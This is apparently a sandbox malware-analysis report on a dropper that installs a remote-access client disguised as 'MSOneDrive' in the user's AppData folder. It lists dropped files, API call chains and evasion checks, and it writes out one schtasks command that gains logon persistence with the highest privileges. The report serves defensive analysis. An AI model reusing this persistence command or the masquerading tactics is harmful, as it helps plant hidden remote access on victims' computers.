Source:	Binary string: winrssrv.pdb source: winrssrv.dll.3.dr
Source:	Binary string: msvcr100.i386.pdb source: client32.exe, client32.exe, 0000000B.00000002.3755290602.000000006CA71000.00000020.00000001.01000000.0000000B.sdmp, client32.exe, 0000000D.00000002.1392381174.000000006CA71000.00000020.00000001.01000000.0000000B.sdmp, msvcr100.dll.3.dr
Source:	Binary string: ir50_32.pdbGCTL source: ir50_32.dll.3.dr
Source:	Binary string: uimanagerbrokerps.pdbGCTL source: UIManagerBrokerps.dll.3.dr
Source:	Binary string: wiatrace.pdbUGP source: wiatrace.dll.3.dr
Source:	Binary string: WFAPIGP.pdb source: wfapigp.dll.3.dr
Source:	Binary string: WerEnc.pdb source: WerEnc.dll.3.dr
Source:	Binary string: stub.pdb source: dpnhupnp.dll.3.dr, dpnathlp.dll.3.dr, dpnlobby.dll.3.dr
Source:	Binary string: GetUName.pdbGCTL source: getuname.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: TCCTL32.DLL.3.dr
Source:	Binary string: WFAPIGP.pdbUGP source: wfapigp.dll.3.dr
Source:	Binary string: GetUName.pdb source: getuname.dll.3.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: TCCTL32.DLL.3.dr
Source:	Binary string: d:\a01\_work\2\s\\binaries\x86ret\bin\i386\\msvcp140_codecvt_ids.i386.pdb source: msvcp140_codecvt_ids.dll.3.dr
Source:	Binary string: WerEnc.pdbGCTL source: WerEnc.dll.3.dr
Source:	Binary string: ir41_qcx.pdbGCTL source: ir41_qcx.dll.3.dr

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: UIManagerBrokerps.dll.3.dr

Static PE information: 0xF03077F1 [Wed Sep 11 03:24:33 2097 UTC]

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_11081000 LoadLibraryA,LoadLibraryA,GetModuleFileNameA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_11081000

Source: HTCTL32.DLL.3.dr	Static PE information: real checksum: 0x4fbb5 should be: 0x525c4
Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Static PE information: real checksum: 0x0 should be: 0x298fc

Source: SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Static PE information: section name: .config
Source: wfapigp.dll.3.dr	Static PE information: section name: .didat
Source: PCICL32.DLL.3.dr	Static PE information: section name: .hhshare

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C97F81 push ecx; ret	3_2_00C97F94
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1115DA35 push ecx; ret	11_2_1115DA48
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11158929 push ecx; ret	11_2_1115893C
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_6C83492F push ecx; ret	11_2_6C834942
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1115DA35 push ecx; ret	13_2_1115DA48
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11158929 push ecx; ret	13_2_1115893C

Source: msvcr100.dll.3.dr

Static PE information: section name: .text entropy: 6.909044922675825

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\dpnathlp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\WerEnc.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\msvcp140_codecvt_ids.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\msvcr100.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\PCICL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\dpnhupnp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\winrssrv.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\AudioCapture.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\dxmasf.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\dpnlobby.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\pcicapi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\winrsmgr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\msvcr100_clr0400.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\getuname.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\PCICHEK.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\icmp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\wiatrace.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\ir41_qcx.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\wfapigp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\ir50_32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\UIManagerBrokerps.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	File created: C:\Users\user\AppData\Local\MSOneDrive\HTCTL32.DLL	Jump to dropped file

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_6C815690 ctl_open,LoadLibraryA,InitializeCriticalSection,CreateEventA,CreateEventA,CreateEventA,CreateEventA,WSAStartup,_malloc,_memset,_malloc,_memset,_malloc,_memset,GetTickCount,CreateThread,SetThreadPriority,GetModuleFileNameA,GetPrivateProfileIntA,GetModuleHandleA,CreateMutexA,	11_2_6C815690
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_6C803C17 GetPrivateProfileIntA,wsprintfA,CreateFileA,GetFileSize,GetPrivateProfileIntA,SetFilePointer,FlushFileBuffers,CloseHandle,wsprintfA,CreateFileA,__itow,WritePrivateProfileStringA,	11_2_6C803C17
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_6C803F90 GetPrivateProfileIntA,	11_2_6C803F90
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_6C815A28 GetPrivateProfileIntA,GetModuleHandleA,CreateMutexA,	11_2_6C815A28

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "MSOneDrive" /tr "C:\Users\user\AppData\Local/MSOneDrive\client32.exe" /RL HIGHEST

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

11_2_11119810

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11129D80 IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,	11_2_11129D80
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11023040 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	11_2_11023040
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110B7590 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	11_2_110B7590
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11149BF0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	11_2_11149BF0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11149BF0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	11_2_11149BF0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11105AE0 IsIconic,	11_2_11105AE0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110C1C00 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	11_2_110C1C00
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110C1C00 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	11_2_110C1C00
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11149FF0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	11_2_11149FF0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11024350 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	11_2_11024350
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11114780 IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	11_2_11114780
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110247A0 IsIconic,BringWindowToTop,GetCurrentThreadId,	11_2_110247A0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_111066E0 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	11_2_111066E0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11022970 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	11_2_11022970
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11023040 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	13_2_11023040
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110B7590 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	13_2_110B7590
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11149BF0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	13_2_11149BF0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11149BF0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	13_2_11149BF0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11105AE0 IsIconic,	13_2_11105AE0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11129D80 IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,	13_2_11129D80
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110C1C00 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	13_2_110C1C00
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110C1C00 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	13_2_110C1C00
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11149FF0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	13_2_11149FF0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11024350 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	13_2_11024350
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11114780 IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	13_2_11114780
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110247A0 IsIconic,BringWindowToTop,GetCurrentThreadId,	13_2_110247A0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_111066E0 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	13_2_111066E0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11022970 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	13_2_11022970

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

11_2_11081000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110AECE0 Sleep,ExitProcess,		11_2_110AECE0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110AECE0 Sleep,ExitProcess,		13_2_110AECE0

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess			graph_3-10565
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep			graph_3-10565

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Window / User API: threadDelayed 461			Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Window / User API: threadDelayed 8373			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\dpnathlp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\icmp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\wiatrace.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\WerEnc.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\ir41_qcx.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\msvcp140_codecvt_ids.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\wfapigp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\ir50_32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\dpnhupnp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\UIManagerBrokerps.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\winrssrv.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\AudioCapture.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\dxmasf.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\dpnlobby.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\winrsmgr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\msvcr100_clr0400.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\MSOneDrive\getuname.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Evaded block: after key decision	graph_3-10702
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision	graph_11-87296
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision	graph_11-87654
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision	graph_11-87960
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision	graph_11-88012
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision	graph_11-88175
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision	graph_11-88174
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision	graph_11-88529
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Evaded block: after key decision

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_11-82866

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	API coverage: 6.0 %
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	API coverage: 2.9 %

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe TID: 7448	Thread sleep time: -115250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe TID: 7452	Thread sleep time: -34400s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe TID: 7448	Thread sleep time: -2093250s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Code function: 11_2_6C811780 GetSystemTime followed by cmp: cmp eax, 02h and CTI: je 6C81186Fh

11_2_6C811780

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe	Code function: 3_2_00C8F905 FindFirstFileExW,	3_2_00C8F905
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11061140 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	11_2_11061140
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_11065870 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,GetLastError,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,	11_2_11065870
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110B3B00 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	11_2_110B3B00
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_1102BB50 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	11_2_1102BB50
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_111180C0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	11_2_111180C0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 11_2_110FE450 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	11_2_110FE450
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_1102BB50 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	13_2_1102BB50
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11061140 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	13_2_11061140
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_11065870 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,GetLastError,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,	13_2_11065870
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110B3B00 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	13_2_110B3B00
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_111180C0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	13_2_111180C0
Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe	Code function: 13_2_110FE450 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	13_2_110FE450

